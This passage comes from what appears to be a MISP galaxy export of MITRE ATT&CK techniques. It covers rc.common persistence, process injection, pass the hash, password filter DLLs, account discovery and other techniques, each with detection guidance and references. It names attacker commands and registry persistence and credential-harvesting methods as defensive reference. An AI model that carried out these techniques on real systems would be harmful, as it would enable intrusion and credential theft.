Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).

Detection: The <code>/etc/rc.common</code> file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.

Platforms: macOS

Data Sources: File monitoring, Process Monitoring

Permissions Required: root

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Rc.common - T1163"*

Table 1912. Table References

Links
https://attack.mitre.org/wiki/Technique/T1163
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Process Injection - T1055

Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

===Windows===

There are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Engame Process Injection July 2017) * '''Dynamic-link library (DLL) injection''' involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread. * '''Portable executable injection''' involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017) * '''Thread execution hijacking''' involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended. * '''Asynchronous Procedure Call''' (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state. AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is a variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table) * '''Thread Local Storage''' (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. (Citation: FireEye TLS Nov 2017)

===Mac and Linux===

Implementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle) *'''LD_PRELOAD, LD_LIBRARY_PATH''' (Linux), '''DYLD_INSERT_LIBRARIES''' (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997)

*'''Ptrace system calls''' can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle) *'''/proc/[pid]/mem''' provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle) *'''VDSO hijacking''' performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009)

Malware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.

Detection: Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Engame Process Injection July 2017)

Monitoring for Linux specific calls such as the ptrace system call, the use of LD_PRELOAD environment variable, or dlfcn dynamic linking API calls, should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods. (Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits)

Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules. (Citation: Microsoft Sysmon v6 May 2017)

Monitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using PowerShell with tools such as PowerSploit, (Citation: Powersploit) so additional PowerShell monitoring may be required to cover known implementations of this behavior.

Platforms: Linux, macOS, Windows

Data Sources: API monitoring, Windows Registry, File monitoring, DLL monitoring, Named Pipes, Process Monitoring

Effective Permissions: User, Administrator, SYSTEM, root

Defense Bypassed: Process whitelisting, Anti-virus

Permissions Required: User, Administrator, SYSTEM, root

Contributors: Anastasios Pingios

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Process Injection - T1055"*

Table 1913. Table References

Links
https://attack.mitre.org/wiki/Technique/T1055
https://github.com/mattifestation/PowerSploit
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.endgame.com/blog/technical-blog/hunting-memory
https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx
https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows
https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx
https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html
https://www.datawire.io/code-injection-on-linux-and-macos/
http://hick.org/code/skape/papers/needle.txt
http://phrack.org/issues/51/8.html
http://vxer.org/lib/vrn00.html
https://www.gnu.org/software/acct/
https://access.redhat.com/documentation/red%20hat%20enterprise%20linux/6/html/security%20guide/chap-system%20auditing
http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
https://docs.microsoft.com/sysinternals/downloads/sysmon

Authentication Package - T1131

Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)

Adversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\</code> with the key value of <code>"Authentication Packages"=<target binary></code>. The binary will then be executed by the system when the authentication packages are loaded.

Detection: Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)

Platforms: Windows

Data Sources: DLL monitoring, Windows Registry, Loaded DLLs

Permissions Required: Administrator

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Authentication Package - T1131"*

Table 1914. Table References

Links
https://attack.mitre.org/wiki/Technique/T1131
https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
https://technet.microsoft.com/en-us/library/dn408187.aspx

Multilayer Encryption - T1079

An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.

Detection: If malware uses Standard Cryptographic Protocol, SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks) After SSL/TLS inspection, additional cryptographic analysis may be needed to analyze the second layer of encryption.

With Custom Cryptographic Protocol, if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)

In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

Platforms: Linux, macOS, Windows

Data Sources: Packet capture, Process use of network, Malware reverse engineering, Process monitoring

Requires Network: Yes

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Multilayer Encryption - T1079"*

Table 1915. Table References

Links
https://attack.mitre.org/wiki/Technique/T1079
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840
https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html
https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf

Component Firmware - T1109

Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.

Platforms: Windows

Defense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems

Permissions Required: SYSTEM

System Requirements: Ability to update component device firmware from the host operating system.

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Component Firmware - T1109"*

Table 1916. Table References

Links
https://attack.mitre.org/wiki/Technique/T1109

Network Share Discovery - T1135

Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.

===Windows===

File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder)

Net can be used to query a remote system for available shared drives using the <code>net view \\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>.

Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement.

===Mac===

On Mac, locally mounted shares can be viewed with the <code>df -aH</code> command.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: macOS, Windows

Data Sources: Process Monitoring, Process command-line parameters, Network protocol analysis, Process use of network

Permissions Required: User

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Network Share Discovery - T1135"*

Table 1917. Table References

Links
https://attack.mitre.org/wiki/Technique/T1135
https://en.wikipedia.org/wiki/Shared%20resource
https://technet.microsoft.com/library/cc770880.aspx

Windows Management Instrumentation Event Subscription - T1084

Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts. (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer’s uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)

Detection: Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns)

Platforms: Windows

Data Sources: WMI Objects

Permissions Required: Administrator, SYSTEM

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Windows Management Instrumentation Event Subscription - T1084"*

Table 1918. Table References

Links
https://attack.mitre.org/wiki/Technique/T1084
https://www.secureworks.com/blog/wmi-persistence
https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf
https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf
https://technet.microsoft.com/en-us/sysinternals/bb963902

Disabling Security Tools - T1089

Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.

Detection: Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.

Platforms: Linux, macOS, Windows

Data Sources: API monitoring, Anti-virus, File monitoring, Services, Windows Registry, Process command-line parameters

Defense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Signature-based detection, Log analysis

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Disabling Security Tools - T1089"*

Table 1919. Table References

Links
https://attack.mitre.org/wiki/Technique/T1089

Peripheral Device Discovery - T1120

Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.

Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Windows

Permissions Required: User, Administrator, SYSTEM

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Peripheral Device Discovery - T1120"*

Table 1920. Table References

Links
https://attack.mitre.org/wiki/Technique/T1120

Data Compressed - T1002

An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.

Detection: Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.

If the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)

Platforms: Linux, macOS, Windows

Data Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring

Requires Network: No

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Data Compressed - T1002"*

Table 1921. Table References

Links
https://attack.mitre.org/wiki/Technique/T1002

https://en.wikipedia.org/wiki/List%20of%20file%20signatures

Account Discovery - T1087

Adversaries may attempt to get a listing of local system or domain accounts.

===Windows===

Example commands that can acquire this information are <code>net user</code>, <code>net group <groupname></code>, and <code>net localgroup <groupname></code> using the Net utility or through use of dsquery. If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, System Owner/User Discovery may apply.

===Mac===

On Mac, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users.

===Linux===

On Linux, local users can be enumerated through the use of the <code>/etc/passwd</code> file which is world readable. In mac, this same file is only used in single-user mode in addition to the <code>/etc/master.passwd</code> file.

Also, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Linux, macOS, Windows

Data Sources: API monitoring, Process command-line parameters, Process monitoring

Permissions Required: User

Contributors: Travis Smith, Tripwire

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Account Discovery - T1087"*

Table 1922. Table References

Links
https://attack.mitre.org/wiki/Technique/T1087

Pass the Hash - T1075

Pass the hash (PtH) is a method of authenticating as a user without having access to the user’s cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.

Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)

Detection: Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.

Platforms: Windows

Data Sources: Authentication logs

System Requirements: Requires Microsoft Windows as target system

Contributors: Travis Smith, Tripwire

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Pass the Hash - T1075"*

Table 1923. Table References

Links
https://attack.mitre.org/wiki/Technique/T1075
http://www.nsa.gov/ia/%20files/app/spotting%20the%20adversary%20with%20windows%20event%20log%20monitoring.pdf

Source - T1153

The <code>source</code> command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>. /path/to/filename [arguments]</code>. Take note of the space after the ".". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell’s environment.

Adversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.

Detection: Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.

Platforms: Linux, macOS

Data Sources: Process Monitoring, File monitoring, Process command-line parameters

Permissions Required: User

Remote Support: No

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Source - T1153"*

Table 1924. Table References

Links
https://attack.mitre.org/wiki/Technique/T1153

Timestomp - T1099

Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name Masquerading to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)

Detection: Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.

Platforms: Linux, Windows

Data Sources: File monitoring, Process monitoring, Process command-line parameters

Defense Bypassed: Host forensic analysis

Permissions Required: User, Administrator, SYSTEM

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Timestomp - T1099"*

Table 1925. Table References

Links
https://attack.mitre.org/wiki/Technique/T1099
http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html

Brute Force - T1110

Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.

Credential Dumping to obtain password hashes may only get an adversary so far when Pass the Hash is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking)

Adversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization’s login failure policies. (Citation: Cylance Cleaver)

A related technique called password spraying uses one password, or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)

Detection: It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network.

Monitor authentication logs for system and application login failures of Valid Accounts. If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.

Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.

Platforms: Linux, macOS, Windows

Data Sources: Authentication logs

Permissions Required: User

Contributors: John Strand

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Brute Force - T1110"*

Table 1926. Table References

Links
https://attack.mitre.org/wiki/Technique/T1110
https://en.wikipedia.org/wiki/Password%20cracking
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf
http://www.blackhillsinfosec.com/?p=4645

Modify Registry - T1112

Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution.

Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples).

The Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often Valid Accounts are required, along with access to the remote system's Windows Admin Shares for RPC communication.

Detection: Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.

Monitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell, which may require additional logging features to be configured in the operating system to collect necessary information for analysis.

Platforms: Windows

Data Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters

Defense Bypassed: Host forensic analysis

Permissions Required: User, Administrator, SYSTEM

Contributors: Bartosz Jerzman, Travis Smith, Tripwire

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Modify Registry - T1112"*

Table 1927. Table References

Links
https://attack.mitre.org/wiki/Technique/T1112
https://technet.microsoft.com/en-us/library/cc732643.aspx
https://technet.microsoft.com/en-us/library/cc754820.aspx

Password Filter DLL - T1174

Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.

Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.

Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)

Detection: Monitor for change notifications to and from unfamiliar password filters.

Newly installed password filters will not take effect until after a system reboot.

Password filters will show up as an autorun and loaded DLL in lsass.exe. (Citation: Clymb3r Function Hook Passwords Sept 2013)

Platforms: Windows

Data Sources: DLL monitoring, Windows Registry, Process monitoring

Permissions Required: Administrator, SYSTEM

Contributors: Vincent Le Toux

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Password Filter DLL - T1174"*

Table 1928. Table References

Links
https://attack.mitre.org/wiki/Technique/T1174
http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html
https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/

Space after Filename - T1151

Adversaries can hide a program’s true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to "evil.txt " (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).

Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.

Detection: It’s not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user’s perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.

Platforms: Linux, macOS

Data Sources: File monitoring, Process Monitoring

Permissions Required: User

Contributors: Erye Hernandez, Palo Alto Networks

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Space after Filename - T1151"*

Table 1929. Table References

Links
https://attack.mitre.org/wiki/Technique/T1151
https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/

Screen Capture - T1113

Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.

===Mac===

On OSX, the native command <code>screencapture</code> is used to capture screenshots.

===Linux===

On Linux, there is the native command <code>xwd</code>. (Citation: Antiquated Mac Malware)

Detection: Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.

Platforms: Linux, macOS, Windows

Data Sources: API monitoring, Process monitoring, File monitoring

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Screen Capture - T1113"*

Table 1930. Table References

Links
https://attack.mitre.org/wiki/Technique/T1113
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/

Exploitation of Remote Services - T1210

Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.

An adversary may need to determine if the remote system is in a vulnerable state, which may be done through Network Service Scanning or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.

There are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169)

Depending on the permissions level of the vulnerable remote service an adversary may achieve Exploitation for Privilege Escalation as a result of lateral movement exploitation as well.

Detection: Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.

Platforms: Linux, Windows, macOS

Data Sources: Windows Error Reporting, Process Monitoring, File monitoring

Permissions Required: User

System Requirements: Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network.

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Exploitation of Remote Services -*

T1210"

Table 1931. Table References

Links
https://attack.mitre.org/wiki/Technique/T1210
https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/
https://nvd.nist.gov/vuln/detail/CVE-2017-0176
https://nvd.nist.gov/vuln/detail/CVE-2016-6662
https://nvd.nist.gov/vuln/detail/CVE-2014-7169

Indicator Removal from Tools - T1066

If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.

A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use Software Packing or otherwise modify the file so it has a different signature, and then re-use the malware.

Detection: The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.

Platforms: Linux, macOS, Windows

Data Sources: Process use of network, Anti-virus, Binary file metadata, Process command-line parameters, Process monitoring

Defense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Indicator Removal from Tools - T1066"*

Table 1932. Table References

Links
https://attack.mitre.org/wiki/Technique/T1066

Change Default File Association - T1042

When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access. (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

System file associations are listed under <code>HKEY_CLASSES_ROOT\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\[handler]\shell\[action]\command</code>. For example:
*<code>HKEY_CLASSES_ROOT\txtfile\shell\open\command</code>
*<code>HKEY_CLASSES_ROOT\txtfile\shell\print\command</code>
*<code>HKEY_CLASSES_ROOT\txtfile\shell\printto\command</code>

The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to execute arbitrary commands.

Detection: Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.

User file association preferences are stored under <code>[HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user’s preference will occur under this entry’s subkeys.

Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.

Platforms: Windows

Data Sources: Windows Registry, Process command-line parameters, Process monitoring

Permissions Required: User, Administrator, SYSTEM

Contributors: Stefan Kanthak, Travis Smith, Tripwire

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Change Default File Association - T1042"*

Table 1933. Table References

Links
https://attack.mitre.org/wiki/Technique/T1042
https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs
http://msdn.microsoft.com/en-us/library/bb166549.aspx

Signed Script Proxy Execution - T1216

